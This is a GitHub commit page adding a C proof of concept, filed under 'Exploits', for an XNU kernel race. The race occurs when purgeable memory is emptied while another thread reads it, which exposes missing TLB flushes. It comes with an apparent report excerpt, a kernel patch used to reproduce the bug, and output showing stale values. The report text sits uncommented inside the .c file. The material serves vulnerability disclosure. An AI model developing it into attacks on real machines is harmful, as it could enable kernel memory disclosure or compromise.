Skip to content

Commit 9a1a897

Browse files
authored
PoC
1 parent 4e33e1e commit 9a1a897

File tree

1 file changed

+90
-0
lines changed

1 file changed

+90
-0
lines changed

Exploits/Dumy XnU.c

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
#include <pthread.h>
2+
#include <assert.h>
3+
#include <err.h>
4+
#include <stdlib.h>
5+
#include <stdio.h>
6+
#include <sys/mman.h>
7+
#include <unistd.h>
8+
#include <sys/signal.h>
9+
#include <fcntl.h>
10+
11+
#include <mach/mach.h>
12+
#include <mach/mach_vm.h>
13+
14+
unsigned long *mapping = (void*)0x900000000UL;
15+
mach_vm_address_t mapping2 = 0x900000000UL;
16+
17+
static const unsigned long magic_value = 0;
18+
19+
volatile int loops = 0;
20+
void *thread_fn(void *dummy) {
21+
while (1) {
22+
loops++;
23+
unsigned long value = *(volatile unsigned long *)mapping;
24+
if (value != magic_value) {
25+
printf("saw 0x%016lx\n", value);
26+
}
27+
}
28+
}
29+
30+
//void *thread_fn_dummy(void *dummy) { while (1); }
31+
32+
int main(void) {
33+
setbuf(stdout, NULL);
34+
if (mach_vm_allocate(mach_task_self(), &mapping2, 0x4000, VM_FLAGS_FIXED|VM_FLAGS_PURGABLE) != KERN_SUCCESS)
35+
errx(1, "mach_vm_allocate");
36+
assert(mapping2 == (unsigned long)mapping);
37+
mapping[1] = 1; // fault in
38+
39+
pthread_t thread;
40+
//if (pthread_create(&thread, NULL, thread_fn_dummy, NULL))
41+
// errx(1, "pthread_create");
42+
if (pthread_create(&thread, NULL, thread_fn, NULL))
43+
errx(1, "pthread_create");
44+
while (1) {
45+
usleep(1000);
46+
int state = VM_PURGABLE_EMPTY;
47+
int res;
48+
if ((res=mach_vm_purgable_control(mach_task_self(), mapping2, VM_PURGABLE_SET_STATE, &state)) != KERN_SUCCESS)
49+
errx(1, "mach_vm_purgable_control (set empty) = %d", res);
50+
usleep(1000);
51+
state = VM_PURGABLE_NONVOLATILE;
52+
if (mach_vm_purgable_control(mach_task_self(), mapping2, VM_PURGABLE_SET_STATE, &state) != KERN_SUCCESS)
53+
errx(1, "mach_vm_purgable_control (set nonvolatile)");
54+
mapping[1] = 1;
55+
}
56+
}
57+
=================
58+
59+
Unfortunately, the only Mac I have here is a Mac Mini, so I patched
60+
the function pmap_flush() in XNU (version 4570.71.2) as follows to
61+
make the same problem appear on machines with less cores (and also
62+
added a bunch of printfs):
63+
64+
=================
65+
mp_disable_preemption();
66+
67+
my_cpu = cpu_number();
68+
cpus_to_signal = pfc->pfc_cpus;
69+
+ cpus_to_signal &= 0;
70+
71+
PMAP_TRACE_CONSTANT(PMAP_CODE(PMAP__FLUSH_DELAYED_TLBS) | DBG_FUNC_START,
72+
NULL, cpus_to_signal);
73+
74+
for (cpu = 0, cpu_bit = 1; cpu < real_ncpus && cpus_to_signal; cpu++, cpu_bit <<= 1) {
75+
=================
76+
77+
With the patched kernel, I can occasionally observe the effects of
78+
missing TLB flushes:
79+
80+
=================
81+
$ gcc -o test test.c
82+
$ time ./test
83+
saw 0x0000000000000400
84+
saw 0x00007fff64d472a8
85+
saw 0xffffffffffffffff
86+
^C
87+
88+
real 3m54.100s
89+
user 3m53.462s
90+
sys 0m4.032s

0 commit comments

Comments
 (0)